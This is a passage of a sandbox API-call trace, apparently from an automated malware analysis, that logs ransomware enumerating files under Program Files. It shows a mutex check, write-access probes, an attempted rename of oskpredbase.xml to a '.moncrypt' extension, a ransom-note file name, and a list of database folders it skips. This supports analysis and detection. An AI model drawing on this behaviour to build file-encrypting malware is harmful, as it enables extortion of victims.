(hMem=0x44000c) returned 0x553188 [0046.843] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.843] GlobalUnlock (hMem=0x44000c) returned 0 [0046.843] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.843] GlobalLock (hMem=0x440004) returned 0x555198 [0046.843] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.843] GlobalUnlock (hMem=0x44000c) returned 0 [0046.843] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.843] GlobalUnlock (hMem=0x440004) returned 0 [0046.843] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.843] CharLowerBuffW (in: lpsz="oskpredbase.xml", cchLength=0xf | out: lpsz="oskpredbase.xml") returned 0xf [0046.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.844] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xmli", lpUsedDefaultChar=0x0) returned 4 [0046.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0046.844] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dc8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0046.845] CloseHandle (hObject=0x190) returned 1 [0046.845] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\я")) returned 1 [0046.846] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0x54e280 [0046.846] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.846] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.846] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", dwFileAttributes=0x20) returned 0 [0046.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.moncrypt")) returned 0 [0046.863] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0046.863] GetLastError () returned 0x12 [0046.863] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.863] GlobalLock (hMem=0x440004) returned 0x552180 [0046.863] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.863] GlobalUnlock (hMem=0x440004) returned 0 [0046.863] GlobalLock (hMem=0x440004) returned 0x552180 [0046.863] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.863] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.863] GlobalUnlock (hMem=0x440004) returned 0 [0046.863] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.863] GlobalUnlock (hMem=0x44000c) returned 0 [0046.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61da8, cbMultiByte=3, lpWideCharStr=0x18d758, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0046.863] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d33a600, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d33a600, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.863] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.863] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.863] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.863] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.863] GlobalUnlock (hMem=0x44000c) returned 0 [0046.863] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.863] GlobalLock (hMem=0x440004) returned 0x554190 [0046.864] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.864] GlobalUnlock (hMem=0x44000c) returned 0 [0046.864] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.864] GlobalUnlock (hMem=0x440004) returned 0 [0046.864] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.864] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d33a600, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d33a600, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.864] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.864] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.864] GlobalLock (hMem=0x440004) returned 0x553188 [0046.864] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.864] GlobalUnlock (hMem=0x440004) returned 0 [0046.864] GlobalLock (hMem=0x440004) returned 0x553188 [0046.864] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.864] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.864] GlobalUnlock (hMem=0x440004) returned 0 [0046.864] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.864] GlobalUnlock (hMem=0x44000c) returned 0 [0046.864] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.864] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0046.864] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.864] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.864] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.864] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.864] GlobalUnlock (hMem=0x44000c) returned 0 [0046.864] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.864] GlobalLock (hMem=0x440004) returned 0x555198 [0046.864] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.864] GlobalUnlock (hMem=0x44000c) returned 0 [0046.864] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.864] GlobalUnlock (hMem=0x440004) returned 0 [0046.865] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.865] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0046.865] GetLastError () returned 0x12 [0046.865] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.865] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0046.865] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.865] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.865] GlobalLock (hMem=0x440004) returned 0x552180 [0046.865] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.865] GlobalUnlock (hMem=0x440004) returned 0 [0046.865] GlobalLock (hMem=0x440004) returned 0x552180 [0046.865] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.865] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.865] GlobalUnlock (hMem=0x440004) returned 0 [0046.865] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.865] GlobalUnlock (hMem=0x44000c) returned 0 [0046.866] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.866] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0046.866] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.866] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.866] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.866] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.866] GlobalUnlock (hMem=0x44000c) returned 0 [0046.866] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.866] GlobalLock (hMem=0x440004) returned 0x554190 [0046.866] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.866] GlobalUnlock (hMem=0x44000c) returned 0 [0046.866] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.866] GlobalUnlock (hMem=0x440004) returned 0 [0046.866] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.866] GlobalLock (hMem=0x440004) returned 0x552180 [0046.866] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.866] GlobalUnlock (hMem=0x440004) returned 0 [0046.866] GlobalLock (hMem=0x440004) returned 0x552180 [0046.866] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.866] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.866] GlobalUnlock (hMem=0x440004) returned 0 [0046.866] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.866] GlobalUnlock (hMem=0x44000c) returned 0 [0046.866] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.866] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", len=0x48 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols") returned 1 [0046.866] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.866] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.867] GlobalUnlock (hMem=0x44000c) returned 0 [0046.867] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.867] GlobalLock (hMem=0x440004) returned 0x554190 [0046.867] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.867] GlobalUnlock (hMem=0x44000c) returned 0 [0046.867] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.867] GlobalUnlock (hMem=0x440004) returned 0 [0046.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\") returned 26 [0046.867] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꓪR꒾R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0046.867] GetLastError () returned 0x3 [0046.867] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0046.867] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@ꐬR企@\x18㽜Q\x181")) returned 0xffffffff [0046.868] GetLastError () returned 0x2 [0046.868] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0046.868] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@⡄R企@\x18?T\x18;")) returned 0xffffffff [0046.868] GetLastError () returned 0x2 [0046.868] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0046.869] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@⊤R企@\x18?T\x18D")) returned 0xffffffff [0046.869] GetLastError () returned 0x2 [0046.869] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0046.869] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@ꐬR企@\x18⡄R\x18j")) returned 0xffffffff [0046.869] GetLastError () returned 0x2 [0046.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0046.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft 